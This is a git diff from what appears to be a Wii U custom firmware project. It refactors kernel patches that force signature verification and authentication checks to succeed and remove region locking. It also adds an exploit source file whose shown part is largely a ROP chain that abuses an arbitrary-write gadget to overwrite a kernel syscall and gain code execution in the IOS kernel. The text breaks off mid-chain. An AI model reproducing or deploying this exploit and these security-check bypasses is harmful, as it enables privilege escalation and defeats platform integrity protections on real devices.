diff --git a/ios_kernel/source/fsa.h b/ios_kernel/source/fsa.h index cec4af2..f86ec57 100644 --- a/ios_kernel/source/fsa.h +++ b/ios_kernel/source/fsa.h @@ -27,14 +27,15 @@ #include "types.h" #define NAND_DUMP_SIGNATURE_SECTOR 0x01 +#define NAND_MAX_DESC_TYPES 5 #define NAND_DUMP_SIGNATURE 0x4841585844554d50ULL // HAXXDUMP #define NAND_DESC_TYPE_SLC 0x534c4320 // 'SLC ' #define NAND_DESC_TYPE_SLCCMPT 0x534c4332 // 'SLC2' #define NAND_DESC_TYPE_MLC 0x4d4c4320 // 'MLC ' -#define NAND_DESC_TYPE_OTP 0x4f545020 // 'OTP ' #define NAND_DESC_TYPE_SEEPROM 0x45455052 // 'EEPR' +#define NAND_DESC_TYPE_OTP 0x4f545020 // 'OTP ' typedef struct _stdio_nand_desc_t { @@ -46,7 +47,7 @@ typedef struct _stdio_nand_desc_t typedef struct _sdio_nand_signature_sector_t { u64 signature; // HAXXDUMP - stdio_nand_desc_t nand_descriptions[5]; + stdio_nand_desc_t nand_descriptions[NAND_MAX_DESC_TYPES]; } __attribute__((packed)) sdio_nand_signature_sector_t; int FSA_SDReadRawSectors(void *buffer, u32 sector, u32 num_sectors); diff --git a/ios_kernel/source/instant_patches.c b/ios_kernel/source/instant_patches.c new file mode 100644 index 0000000..25e825c --- /dev/null +++ b/ios_kernel/source/instant_patches.c @@ -0,0 +1,102 @@ +/*************************************************************************** + * Copyright (C) 2016 + * by Dimok + * + * This software is provided 'as-is', without any express or implied + * warranty. In no event will the authors be held liable for any + * damages arising from the use of this software. + * + * Permission is granted to anyone to use this software for any + * purpose, including commercial applications, and to alter it and + * redistribute it freely, subject to the following restrictions: + * + * 1. The origin of this software must not be misrepresented; you + * must not claim that you wrote the original software. If you use + * this software in a product, an acknowledgment in the product + * documentation would be appreciated but is not required. + * + * 2. Altered source versions must be plainly marked as such, and + * must not be misrepresented as being the original software. + * + * 3. This notice may not be removed or altered from any source + * distribution. + ***************************************************************************/ +#include "config.h" +#include "utils.h" +#include "types.h" +#include "elf_patcher.h" +#include "kernel_patches.h" +#include "ios_mcp_patches.h" +#include "../../ios_mcp/ios_mcp_syms.h" + +typedef struct +{ + u32 paddr; + u32 vaddr; + u32 size; + u32 domain; + u32 type; + u32 cached; +} ios_map_shared_info_t; + +void instant_patches_setup(void) +{ + // apply IOS ELF launch hook + *(volatile u32*)0x0812A120 = ARM_BL(0x0812A120, kernel_launch_ios); + + // patch FSA raw access + *(volatile u32*)0x1070FAE8 = 0x05812070; + *(volatile u32*)0x1070FAEC = 0xEAFFFFF9; + + if(cfw_config.noIosReload) + { + int (*_iosMapSharedUserExecution)(void *descr) = (void*)0x08124F88; + + // patch kernel dev node registration + *(volatile u32*)0x081430B4 = 1; + + // fix 10 minute timeout that crashes MCP after 10 minutes of booting + *(volatile u32*)(0x05022474 - 0x05000000 + 0x081C0000) = 0xFFFFFFFF; // NEW_TIMEOUT + + // patch cached cert check + // start our MCP thread directly on first title change + kernel_memset((void*)(0x050BD000 - 0x05000000 + 0x081C0000), 0, 0x3000); + *(volatile u32*)(0x05054D6C - 0x05000000 + 0x081C0000) = ARM_B(0x05054D6C, _startMainThread); + + // patch MCP authentication check + *(volatile u32*)(0x05014CAC - 0x05000000 + 0x081C0000) = 0x20004770; // mov r0, #0; bx lr + + // patch IOSC_VerifyPubkeySign to always succeed + *(volatile u32*)(0x05052C44 - 0x05000000 + 0x081C0000) = 0xE3A00000; // mov r0, #0 + *(volatile u32*)(0x05052C48 - 0x05000000 + 0x081C0000) = 0xE12FFF1E; // bx lr + + // allow custom bootLogoTex and bootMovie.h264 + *(volatile u32*)(0xE0030D68 - 0xE0000000 + 0x12900000) = 0xE3A00000; // mov r0, #0 + *(volatile u32*)(0xE0030D34 - 0xE0000000 + 0x12900000) = 0xE3A00000; // mov r0, #0 + + // allow any region title launch + *(volatile u32*)(0xE0030498 - 0xE0000000 + 0x12900000) = 0xE3A00000; // mov r0, #0 + + // set zero to start thread directly on first title change + *(volatile u32*)(0x050BC580 - 0x05000000 + 0x081C0000) = 0; + // down display launch image at this state + *(volatile u32*)(_text_start - 4 - 0x05100000 + 0x13D80000) = 0; + + ios_map_shared_info_t map_info; + map_info.paddr = 0x050BD000 - 0x05000000 + 0x081C0000; + map_info.vaddr = 0x050BD000; + map_info.size = 0x3000; + map_info.domain = 1; // MCP + map_info.type = 3; // 0 = undefined, 1 = kernel only, 2 = read only, 3 = read/write + map_info.cached = 0xFFFFFFFF; + _iosMapSharedUserExecution(&map_info); // actually a bss section but oh well it will have read/write + + map_info.paddr = 0x05116000 - 0x05100000 + 0x13D80000; + map_info.vaddr = 0x05116000; + map_info.size = 0x4000; + map_info.domain = 1; // MCP + map_info.type = 3; // 0 = undefined, 1 = kernel only, 2 = read only, 3 = read write + map_info.cached = 0xFFFFFFFF; + _iosMapSharedUserExecution(&map_info); + } +} diff --git a/ios_kernel/source/instant_patches.h b/ios_kernel/source/instant_patches.h new file mode 100644 index 0000000..6130b70 --- /dev/null +++ b/ios_kernel/source/instant_patches.h @@ -0,0 +1,29 @@ +/*************************************************************************** + * Copyright (C) 2016 + * by Dimok + * + * This software is provided 'as-is', without any express or implied + * warranty. In no event will the authors be held liable for any + * damages arising from the use of this software. + * + * Permission is granted to anyone to use this software for any + * purpose, including commercial applications, and to alter it and + * redistribute it freely, subject to the following restrictions: + * + * 1. The origin of this software must not be misrepresented; you + * must not claim that you wrote the original software. If you use + * this software in a product, an acknowledgment in the product + * documentation would be appreciated but is not required. + * + * 2. Altered source versions must be plainly marked as such, and + * must not be misrepresented as being the original software. + * + * 3. This notice may not be removed or altered from any source + * distribution. + ***************************************************************************/ +#ifndef _INSTANT_PATCHES_SETUP_H_ +#define _INSTANT_PATCHES_SETUP_H_ + +void instant_patches_setup(void); + +#endif diff --git a/ios_kernel/source/ios_bsp_patches.c b/ios_kernel/source/ios_bsp_patches.c index 48a7fae..5c15ddb 100644 --- a/ios_kernel/source/ios_bsp_patches.c +++ b/ios_kernel/source/ios_bsp_patches.c @@ -40,12 +40,11 @@ u32 bsp_get_phys_code_base(void) int bsp_init_seeprom_buffer(u32 baseSector, int dumpFound) { - int(*disable_interrupts)() = (int(*)())0x0812E778; - int(*enable_interrupts)(int) = (int(*)(int))0x0812E78C; + void *tmpBuffer = (void*)0x00140000; if(dumpFound) { - int res = FSA_SDReadRawSectors((void*)0x00140000, baseSector, 1); + int res = FSA_SDReadRawSectors(tmpBuffer, baseSector, 1); if(res < 0) return res; } @@ -53,13 +52,13 @@ int bsp_init_seeprom_buffer(u32 baseSector, int dumpFound) { //! just clear out the seeprom and it will be re-initialized on BSP module //! TODO: maybe read in the seeprom here from SPI or BSP module - kernel_memset((void*)0x00140000, 0, 0x200); + kernel_memset(tmpBuffer, 0, 0x200); } int level = disable_interrupts(); unsigned int control_register = disable_mmu(); - kernel_memcpy((void*)(_seeprom_buffer_start - 0xE6047000 + 0x13D07000), (void*)0x00140000, 0x200); + kernel_memcpy((void*)(_seeprom_buffer_start - 0xE6047000 + 0x13D07000), tmpBuffer, 0x200); restore_mmu(control_register); enable_interrupts(level); diff --git a/ios_kernel/source/ios_mcp_patches.c b/ios_kernel/source/ios_mcp_patches.c index b12e39e..ed02693 100644 --- a/ios_kernel/source/ios_mcp_patches.c +++ b/ios_kernel/source/ios_mcp_patches.c @@ -52,6 +52,8 @@ void mcp_run_patches(u32 ios_elf_start) section_write(ios_elf_start, 0x050600FC, "/vol/system_slc/config/syshax.xml", 0x24); } + section_write_word(ios_elf_start, (_text_start - 4), cfw_config.launchImage); + u32 patch_count = (u32)(((u8*)mcp_patches_table_end) - ((u8*)mcp_patches_table)) / sizeof(patch_table_t); patch_table_entries(ios_elf_start, mcp_patches_table, patch_count); } diff --git a/ios_kernel/source/kernel_patches.c b/ios_kernel/source/kernel_patches.c index ea49b64..3aafa73 100644 --- a/ios_kernel/source/kernel_patches.c +++ b/ios_kernel/source/kernel_patches.c @@ -23,6 +23,9 @@ ***************************************************************************/ #include "types.h" #include "elf_patcher.h" +#include "ios_mcp_patches.h" +#include "ios_fs_patches.h" +#include "ios_bsp_patches.h" #include "kernel_patches.h" #include "exception_handler.h" #include "fsa.h" @@ -63,11 +66,11 @@ static int kernel_read_otp_internal(int index, void* out_buf, u32 size) return 0; } -int kernel_init_otp_buffer(u32 sd_sector, int tagValid) +int kernel_init_otp_buffer(u32 sd_sector, int dumpFound) { int res; - if(tagValid) + if(dumpFound) { res = FSA_SDReadRawSectors(otp_buffer, sd_sector, 2); } @@ -77,13 +80,43 @@ int kernel_init_otp_buffer(u32 sd_sector, int tagValid) res = orig_kernel_read_otp_internal(0, otp_buffer, 0x400); } - if((res == 0) && !tagValid) + if((res == 0) && (dumpFound == 0)) { FSA_SDWriteRawSectors(otp_buffer, sd_sector, 2); } return res; } +void kernel_launch_ios(u32 launch_address, u32 L, u32 C, u32 H) +{ + void (*kernel_launch_bootrom)(u32 launch_address, u32 L, u32 C, u32 H) = (void*)0x0812A050; + + if(*(u32*)(launch_address - 0x300 + 0x1AC) == 0x00DFD000) + { + int level = disable_interrupts(); + unsigned int control_register = disable_mmu(); + + u32 ios_elf_start = launch_address + 0x804 - 0x300; + + //! try to keep the order of virt. addresses to reduce the memmove amount + mcp_run_patches(ios_elf_start); + kernel_run_patches(ios_elf_start); + + if(cfw_config.redNAND) + { + fs_run_patches(ios_elf_start); + + if(cfw_config.seeprom_red) + bsp_run_patches(ios_elf_start); + } + + restore_mmu(control_register); + enable_interrupts(level); + } + + kernel_launch_bootrom(launch_address, L, C, H); +} + void kernel_run_patches(u32 ios_elf_start) { section_write(ios_elf_start, (u32)__KERNEL_CODE_START, __KERNEL_CODE_START, __KERNEL_CODE_END - __KERNEL_CODE_START); @@ -106,3 +139,4 @@ void kernel_run_patches(u32 ios_elf_start) u32 patch_count = (u32)(((u8*)kernel_patches_table_end) - ((u8*)kernel_patches_table)) / sizeof(patch_table_t); patch_table_entries(ios_elf_start, kernel_patches_table, patch_count); } + diff --git a/ios_kernel/source/main.c b/ios_kernel/source/main.c index eb8a2d6..2f8c9d6 100644 --- a/ios_kernel/source/main.c +++ b/ios_kernel/source/main.c @@ -22,15 +22,13 @@ * distribution. ***************************************************************************/ #include "types.h" -#include "elf_abi.h" -#include "elf_patcher.h" -#include "kernel_patches.h" +#include "config.h" +#include "utils.h" +#include "redirection_setup.h" #include "ios_mcp_patches.h" #include "ios_fs_patches.h" #include "ios_bsp_patches.h" -#include "config.h" -#include "fsa.h" -#include "utils.h" +#include "instant_patches.h" #define USB_PHYS_CODE_BASE 0x101312D0 @@ -66,46 +64,8 @@ static const char repairData_usb_root_thread[] = { 0xE5,0x9F,0x0E,0x68,0xEB,0x00,0xB3,0x20, }; -void kernel_launch_ios(u32 launch_address, u32 L, u32 C, u32 H) -{ - void (*kernel_launch_bootrom)(u32 launch_address, u32 L, u32 C, u32 H) = (void*)0x0812A050; - - if(*(u32*)(launch_address - 0x300 + 0x1AC) == 0x00DFD000) - { - int(*disable_interrupts)() = (int(*)())0x0812E778; - int(*enable_interrupts)(int) = (int(*)(int))0x0812E78C; - - int level = disable_interrupts(); - unsigned int control_register = disable_mmu(); - - u32 ios_elf_start = launch_address + 0x804 - 0x300; - - //! try to keep the order of virt. addresses to reduce the memmove amount - mcp_run_patches(ios_elf_start); - kernel_run_patches(ios_elf_start); - - if(cfw_config.redNAND) - { - fs_run_patches(ios_elf_start); - - if(cfw_config.seeprom_red) - bsp_run_patches(ios_elf_start); - } - - restore_mmu(control_register); - enable_interrupts(level); - } - - kernel_launch_bootrom(launch_address, L, C, H); -} - - -int BSP_EEPROM_ReadData(void *buffer, int offset, int size); - int _main() { - int(*disable_interrupts)() = (int(*)())0x0812E778; - int(*enable_interrupts)(int) = (int(*)(int))0x0812E78C; void(*invalidate_icache)() = (void(*)())0x0812DCF0; void(*invalidate_dcache)(unsigned int, unsigned int) = (void(*)())0x08120164; void(*flush_dcache)(unsigned int, unsigned int) = (void(*)())0x08120160; @@ -159,16 +119,10 @@ int _main() kernel_memcpy((void*)MCP_LAUNCH_IMG_PHYS_ADDR, payloads->data, payloads->size); payloads = (payload_info_t*)( ((char*)payloads) + ALIGN4(sizeof(payload_info_t) + payloads->size) ); } - else - { - *(u32*)MCP_LAUNCH_IMG_PHYS_ADDR = 0; - } - // patch FSA raw access - *(volatile u32*)0x1070FAE8 = 0x05812070; - *(volatile u32*)0x1070FAEC = 0xEAFFFFF9; + // run all instant patches as necessary + instant_patches_setup(); - *(volatile u32*)0x0812A120 = ARM_BL(0x0812A120, kernel_launch_ios); *(volatile u32*)(0x1555500) = 0; /* REENABLE MMU */ @@ -181,65 +135,7 @@ int _main() if(cfw_config.redNAND) { - int seepromDumpFound = 0; - u32 seepromDumpBaseSector = 0x4FF; - int otpDumpFound = 0; - u32 otpDumpBaseSector = 0x4FD; - int writeInfoSector = 0; - sdio_nand_signature_sector_t *infoSector = (sdio_nand_signature_sector_t*)0x00141000; - kernel_memset(infoSector, 0x00, 0x200); - - FSA_SDReadRawSectors(infoSector, NAND_DUMP_SIGNATURE_SECTOR, 1); - - if(infoSector->signature == NAND_DUMP_SIGNATURE) - { - int i; - for(i = 0; i < 6; i++) - { - if(infoSector->nand_descriptions[i].nand_type == NAND_DESC_TYPE_SEEPROM) - { - seepromDumpFound = 1; - seepromDumpBaseSector = infoSector->nand_descriptions[i].base_sector; - } - if(infoSector->nand_descriptions[i].nand_type == NAND_DESC_TYPE_OTP) - { - otpDumpFound = 1; - otpDumpBaseSector = infoSector->nand_descriptions[i].base_sector; - } - } - } - - if(cfw_config.seeprom_red) - { - bsp_init_seeprom_buffer(seepromDumpBaseSector, seepromDumpFound); - - if(seepromDumpBaseSector == 0) - { - infoSector->nand_descriptions[3].nand_type = NAND_DESC_TYPE_SEEPROM; - infoSector->nand_descriptions[3].base_sector = seepromDumpBaseSector; - infoSector->nand_descriptions[3].sector_count = 1; - writeInfoSector++; - } - } - - if(cfw_config.otp_red) - { - kernel_init_otp_buffer(otpDumpBaseSector, otpDumpFound); - - if(otpDumpFound == 0) - { - infoSector->nand_descriptions[4].nand_type = NAND_DESC_TYPE_OTP; - infoSector->nand_descriptions[4].base_sector = otpDumpBaseSector; - infoSector->nand_descriptions[4].sector_count = 2; - writeInfoSector++; - } - } - - - if(writeInfoSector > 1) - { - FSA_SDWriteRawSectors(infoSector, NAND_DUMP_SIGNATURE_SECTOR, 1); - } + redirection_setup(); } return 0; diff --git a/ios_kernel/source/redirection_setup.c b/ios_kernel/source/redirection_setup.c new file mode 100644 index 0000000..a779793 --- /dev/null +++ b/ios_kernel/source/redirection_setup.c @@ -0,0 +1,90 @@ +/*************************************************************************** + * Copyright (C) 2016 + * by Dimok + * + * This software is provided 'as-is', without any express or implied + * warranty. In no event will the authors be held liable for any + * damages arising from the use of this software. + * + * Permission is granted to anyone to use this software for any + * purpose, including commercial applications, and to alter it and + * redistribute it freely, subject to the following restrictions: + * + * 1. The origin of this software must not be misrepresented; you + * must not claim that you wrote the original software. If you use + * this software in a product, an acknowledgment in the product + * documentation would be appreciated but is not required. + * + * 2. Altered source versions must be plainly marked as such, and + * must not be misrepresented as being the original software. + * + * 3. This notice may not be removed or altered from any source + * distribution. + ***************************************************************************/ +#include "config.h" +#include "utils.h" +#include "fsa.h" +#include "kernel_patches.h" +#include "ios_bsp_patches.h" + +void redirection_setup(void) +{ + int seepromDumpFound = 0; + u32 seepromDumpBaseSector = 0x4FF; + int otpDumpFound = 0; + u32 otpDumpBaseSector = 0x4FD; + int writeInfoSector = 0; + sdio_nand_signature_sector_t *infoSector = (sdio_nand_signature_sector_t*)0x00141000; + kernel_memset(infoSector, 0x00, 0x200); + + FSA_SDReadRawSectors(infoSector, NAND_DUMP_SIGNATURE_SECTOR, 1); + + if(infoSector->signature == NAND_DUMP_SIGNATURE) + { + int i; + for(i = 0; i < NAND_MAX_DESC_TYPES; i++) + { + if(infoSector->nand_descriptions[i].nand_type == NAND_DESC_TYPE_SEEPROM) + { + seepromDumpFound = 1; + seepromDumpBaseSector = infoSector->nand_descriptions[i].base_sector; + } + if(infoSector->nand_descriptions[i].nand_type == NAND_DESC_TYPE_OTP) + { + otpDumpFound = 1; + otpDumpBaseSector = infoSector->nand_descriptions[i].base_sector; + } + } + } + + if(cfw_config.seeprom_red) + { + bsp_init_seeprom_buffer(seepromDumpBaseSector, seepromDumpFound); + + if(seepromDumpFound == 0) + { + infoSector->nand_descriptions[3].nand_type = NAND_DESC_TYPE_SEEPROM; + infoSector->nand_descriptions[3].base_sector = seepromDumpBaseSector; + infoSector->nand_descriptions[3].sector_count = 1; + writeInfoSector++; + } + } + + if(cfw_config.otp_red) + { + kernel_init_otp_buffer(otpDumpBaseSector, otpDumpFound); + + if(otpDumpFound == 0) + { + infoSector->nand_descriptions[4].nand_type = NAND_DESC_TYPE_OTP; + infoSector->nand_descriptions[4].base_sector = otpDumpBaseSector; + infoSector->nand_descriptions[4].sector_count = 2; + writeInfoSector++; + } + } + + if(writeInfoSector > 0) + { + FSA_SDWriteRawSectors(infoSector, NAND_DUMP_SIGNATURE_SECTOR, 1); + } +} diff --git a/ios_kernel/source/redirection_setup.h b/ios_kernel/source/redirection_setup.h new file mode 100644 index 0000000..ffe175f --- /dev/null +++ b/ios_kernel/source/redirection_setup.h @@ -0,0 +1,29 @@ +/*************************************************************************** + * Copyright (C) 2016 + * by Dimok + * + * This software is provided 'as-is', without any express or implied + * warranty. In no event will the authors be held liable for any + * damages arising from the use of this software. + * + * Permission is granted to anyone to use this software for any + * purpose, including commercial applications, and to alter it and + * redistribute it freely, subject to the following restrictions: + * + * 1. The origin of this software must not be misrepresented; you + * must not claim that you wrote the original software. If you use + * this software in a product, an acknowledgment in the product + * documentation would be appreciated but is not required. + * + * 2. Altered source versions must be plainly marked as such, and + * must not be misrepresented as being the original software. + * + * 3. This notice may not be removed or altered from any source + * distribution. + ***************************************************************************/ +#ifndef _REDIRECTION_SETUP_H_ +#define _REDIRECTION_SETUP_H_ + +void redirection_setup(void); + +#endif diff --git a/ios_kernel/source/utils.h b/ios_kernel/source/utils.h index 47a2a71..b9a2a8a 100644 --- a/ios_kernel/source/utils.h +++ b/ios_kernel/source/utils.h @@ -29,6 +29,8 @@ #define kernel_memcpy ((void * (*)(void*, const void*, int))0x08131D04) #define kernel_memset ((void *(*)(void*, int, unsigned int))0x08131DA0) #define kernel_strncpy ((char *(*)(char*, const char*, unsigned int))0x081329B8) +#define disable_interrupts ((int(*)())0x0812E778) +#define enable_interrupts ((int(*)(int))0x0812E78C) #define kernel_bsp_command_5 ((int (*)(const char*, int offset, const char*, int size, void *buffer))0x0812EC40) void reverse_memcpy(void* dest, const void* src, unsigned int size); diff --git a/ios_mcp/source/main.c b/ios_mcp/source/main.c index 50c3c27..6468783 100644 --- a/ios_mcp/source/main.c +++ b/ios_mcp/source/main.c @@ -11,6 +11,7 @@ #include "ipc.h" static bool serverKilled; +static int threadsStarted = 0; // overwrites command_buffer with response // returns length of response (or 0 for no response, negative for error) @@ -225,15 +226,23 @@ int _main(void *arg) return 0; } -void _startMainThread(void) +int _startMainThread(void) { - drawSplashScreen(); + if(threadsStarted == 0) + { + threadsStarted = 1; - memset((void*)0x050BD000, 0, 0x3000); + int * launchImageConfigured = (int *)(0x05116000 - 4); + if(*launchImageConfigured != 0) + { + drawSplashScreen(); + } - int threadId = svcCreateThread(_main, 0, (u32*)(0x050BD000 + 0x1000), 0x1000, 0x78, 1); - if(threadId >= 0) - svcStartThread(threadId); + int threadId = svcCreateThread(_main, 0, (u32*)(0x050BD000 + 0x1000), 0x1000, 0x78, 1); + if(threadId >= 0) + svcStartThread(threadId); - ipc_init(); + ipc_init(); + } + return 0; } diff --git a/src/cfw_config.c b/src/cfw_config.c index 35a5d4e..e36f9e0 100644 --- a/src/cfw_config.c +++ b/src/cfw_config.c @@ -79,6 +79,8 @@ void default_config(cfw_config_t * config) config->viewMode = 0; config->directLaunch = 0; config->launchImage = 1; + config->noIosReload = 0; + config->launchSysMenu = 1; config->redNAND = 0; config->seeprom_red = 0; config->otp_red = 0; @@ -116,6 +118,10 @@ int read_config(cfw_config_t * config) config->syshaxXml = atoi(value); else if(strcmp(option, "viewMode") == 0) config->viewMode = atoi(value); + else if(strcmp(option, "noIosReload") == 0) + config->noIosReload = atoi(value); + else if(strcmp(option, "launchSysMenu") == 0) + config->launchSysMenu = atoi(value); } } @@ -135,6 +141,8 @@ int write_config(cfw_config_t * config) fprintf(pFile, "viewMode=%i\n", config->viewMode); fprintf(pFile, "directLaunch=%i\n", config->directLaunch); fprintf(pFile, "launchImage=%i\n", config->launchImage); + fprintf(pFile, "noIosReload=%i\n", config->noIosReload); + fprintf(pFile, "launchSysMenu=%i\n", config->launchSysMenu); fprintf(pFile, "redNAND=%i\n", config->redNAND); fprintf(pFile, "seeprom_red=%i\n", config->seeprom_red); fprintf(pFile, "otp_red=%i\n", config->otp_red); diff --git a/src/cfw_config.h b/src/cfw_config.h index c49972a..92a8c17 100644 --- a/src/cfw_config.h +++ b/src/cfw_config.h @@ -24,7 +24,7 @@ #ifndef CFW_CONFIG_H_ #define CFW_CONFIG_H_ -#define APP_VERSION "v0.1" +#define APP_VERSION "v0.2" #define APP_PATH "sd:/wiiu/apps/mocha" #define CONFIG_PATH (APP_PATH "/config.ini") @@ -33,6 +33,8 @@ typedef struct int viewMode; int directLaunch; int launchImage; + int noIosReload; + int launchSysMenu; int redNAND; int seeprom_red; int otp_red; diff --git a/src/ios_exploit.c b/src/ios_exploit.c new file mode 100644 index 0000000..d9785b3 --- /dev/null +++ b/src/ios_exploit.c @@ -0,0 +1,412 @@ +#include +#include +#include "dynamic_libs/os_functions.h" +#include "cfw_config.h" + +#define ALIGN4(x) (((x) + 3) & ~3) + +#define CHAIN_START 0x1016AD40 +#define SHUTDOWN 0x1012EE4C +#define SIMPLE_RETURN 0x101014E4 +#define SOURCE (0x120000) +#define IOS_CREATETHREAD 0x1012EABC +#define ARM_CODE_BASE 0x08135000 +#define REPLACE_SYSCALL 0x081298BC + +extern const u8 launch_image_tga[]; +extern const u32 launch_image_tga_size; + +static void uhs_exploit_init(int uhs_handle, cfw_config_t * config); +static int uhs_write32(int uhs_handle, int arm_addr, int val); + +//!------Variables used in exploit------ +static int *pretend_root_hub = (int*)0xF5003ABC; +static int *ayylmao = (int*)0xF4500000; +//!------------------------------------- + +typedef struct +{ + u32 size; + u8 data[0]; +} payload_info_t; + +/* YOUR ARM CODE HERE (starts at ARM_CODE_BASE) */ +#include "../ios_kernel/ios_kernel.bin.h" +#include "../ios_usb/ios_usb.bin.h" +#include "../ios_fs/ios_fs.bin.h" +#include "../ios_bsp/ios_bsp.bin.h" +#include "../ios_mcp/ios_mcp.bin.h" + + +/* ROP CHAIN STARTS HERE (0x1015BD78) */ +static const int final_chain[] = { + 0x101236f3, // 0x00 POP {R1-R7,PC} + 0x0, // 0x04 arg + 0x0812974C, // 0x08 stackptr CMP R3, #1; STREQ R1, [R12]; BX LR + 0x68, // 0x0C stacksize + 0x10101638, // 0x10 + 0x0, // 0x14 + 0x0, // 0x18 + 0x0, // 0x1C + 0x1010388C, // 0x20 CMP R3, #0; MOV R0, R4; LDMNEFD SP!, {R4,R5,PC} + 0x0, // 0x24 + 0x0, // 0x28 + 0x1012CFEC, // 0x2C MOV LR, R0; MOV R0, LR; ADD SP, SP, #8; LDMFD SP!, {PC} + 0x0, // 0x30 + 0x0, // 0x34 + IOS_CREATETHREAD, // 0x38 + 0x1, // 0x3C + 0x2, // 0x40 + 0x10123a9f, // 0x44 POP {R0,R1,R4,PC} + REPLACE_SYSCALL + 0x00, // 0x48 address: the beginning of syscall_0x1a (IOS_GetUpTime64) + 0xE92D4010, // 0x4C value: PUSH {R4,LR} + 0x0, // 0x50 + 0x10123a8b, // 0x54 POP {R3,R4,PC} + 0x1, // 0x58 R3 must be 1 for the arbitrary write + 0x0, // 0x5C + 0x1010CD18, // 0x60 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} + 0x0, // 0x64 + 0x0, // 0x68 + 0x1012EE64, // 0x6C set_panic_behavior (arbitrary write) + 0x0, // 0x70 + 0x0, // 0x74 + 0x10123a9f, // 0x78 POP {R0,R1,R4,PC} + REPLACE_SYSCALL + 0x04, // 0x7C address: the beginning of syscall_0x1a (IOS_GetUpTime64) + 0xE1A04000, // 0x80 value: MOV R4, R0 + 0x0, // 0x84 + 0x10123a8b, // 0x88 POP {R3,R4,PC} + 0x1, // 0x8C R3 must be 1 for the arbitrary write + 0x0, // 0x90 + 0x1010CD18, // 0x94 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} + 0x0, // 0x98 + 0x0, // 0x9C + 0x1012EE64, // 0xA0 set_panic_behavior (arbitrary write) + 0x0, // 0xA4 + 0x0, // 0xA8 + 0x10123a9f, // 0xAC POP {R0,R1,R4,PC} + REPLACE_SYSCALL + 0x08, // 0xB0 address: the beginning of syscall_0x1a (IOS_GetUpTime64) + 0xE3E00000, // 0xB4 value: MOV R0, #0xFFFFFFFF + 0x0, // 0xB8 + 0x10123a8b, // 0xBC POP {R3,R4,PC} + 0x1, // 0xC0 R3 must be 1 for the arbitrary write + 0x0, // 0xC4 + 0x1010CD18, // 0xC8 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} + 0x0, // 0xCC + 0x0, // 0xD0 + 0x1012EE64, // 0xD4 set_panic_behavior (arbitrary write) + 0x0, // 0xD8 + 0x0, // 0xDC + 0x10123a9f, // 0xE0 POP {R0,R1,R4,PC} + REPLACE_SYSCALL + 0x0C, // 0xE4 address: the beginning of syscall_0x1a (IOS_GetUpTime64) + 0xEE030F10, // 0xE8 value: MCR P15, #0, R0, C3, C0, #0 (set dacr to R0) + 0x0, // 0xEC + 0x10123a8b, // 0xF0 POP {R3,R4,PC} + 0x1, // 0xF4 R3 must be 1 for the arbitrary write + 0x0, // 0xF8 + 0x1010CD18, // 0xFC MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} + 0x0, // 0x100 + 0x0, // 0x104 + 0x1012EE64, // 0x108 set_panic_behavior (arbitrary write) + 0x0, // 0x10C + 0x0, // 0x110 + 0x10123a9f, // 0x114 POP {R0,R1,R4,PC} + REPLACE_SYSCALL + 0x10, // 0x118 address: the beginning of syscall_0x1a (IOS_GetUpTime64) + 0xE1A00004, // 0x11C value: MOV R0, R4 + 0x0, // 0x120 + 0x10123a8b, // 0x124 POP {R3,R4,PC} + 0x1, // 0x128 R3 must be 1 for the arbitrary write + 0x0, // 0x12C + 0x1010CD18, // 0x130 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} + 0x0, // 0x134 + 0x0, // 0x138 + 0x1012EE64, // 0x13C set_panic_behavior (arbitrary write) + 0x0, // 0x140 + 0x0, // 0x144 + 0x10123a9f, // 0x148 POP {R0,R1,R4,PC} + REPLACE_SYSCALL + 0x14, // 0x14C address: the beginning of syscall_0x1a (IOS_GetUpTime64) + 0xE12FFF33, // 0x150 value: BLX R3 KERNEL_MEMCPY + 0x0, // 0x154 + 0x10123a8b, // 0x158 POP {R3,R4,PC} + 0x1, // 0x15C R3 must be 1 for the arbitrary write + 0x0, // 0x160 + 0x1010CD18, // 0x164 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} + 0x0, // 0x168 + 0x0, // 0x16C + 0x1012EE64, // 0x170 set_panic_behavior (arbitrary write) + 0x0, // 0x174 + 0x0, // 0x178 + 0x10123a9f, // 0x148 POP {R0,R1,R4,PC} + REPLACE_SYSCALL + 0x18, // 0x14C address: the beginning of syscall_0x1a (IOS_GetUpTime64) + 0x00000000, // 0x150 value: NOP + 0x0, // 0x154 + 0x10123a8b, // 0x158 POP {R3,R4,PC} + 0x1, // 0x15C R3 must be 1 for the arbitrary write + 0x0, // 0x160 + 0x1010CD18, // 0x164 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} + 0x0, // 0x168 + 0x0, // 0x16C + 0x1012EE64, // 0x170 set_panic_behavior (arbitrary write) + 0x0, // 0x174 + 0x0, // 0x178 + 0x10123a9f, // 0x148 POP {R0,R1,R4,PC} + REPLACE_SYSCALL + 0x1C, // 0x14C address: the beginning of syscall_0x1a (IOS_GetUpTime64) + 0xEE17FF7A, // 0x150 value: clean_loop: MRC p15, 0, r15, c7, c10, 3 + 0x0, // 0x154 + 0x10123a8b, // 0x158 POP {R3,R4,PC} + 0x1, // 0x15C R3 must be 1 for the arbitrary write + 0x0, // 0x160 + 0x1010CD18, // 0x164 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} + 0x0, // 0x168 + 0x0, // 0x16C + 0x1012EE64, // 0x170 set_panic_behavior (arbitrary write) + 0x0, // 0x174 + 0x0, // 0x178 + 0x10123a9f, // 0x148 POP {R0,R1,R4,PC} + REPLACE_SYSCALL + 0x20, // 0x14C address: the beginning of syscall_0x1a (IOS_GetUpTime64) + 0x1AFFFFFD, // 0x150 value: BNE clean_loop + 0x0, // 0x154 + 0x10123a8b, // 0x158 POP {R3,R4,PC} + 0x1, // 0x15C R3 must be 1 for the arbitrary write + 0x0, // 0x160 + 0x1010CD18, // 0x164 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} + 0x0, // 0x168 + 0x0, // 0x16C + 0x1012EE64, // 0x170 set_panic_behavior (arbitrary write) + 0x0, // 0x174 + 0x0, // 0x178 + 0x10123a9f, // 0x148 POP 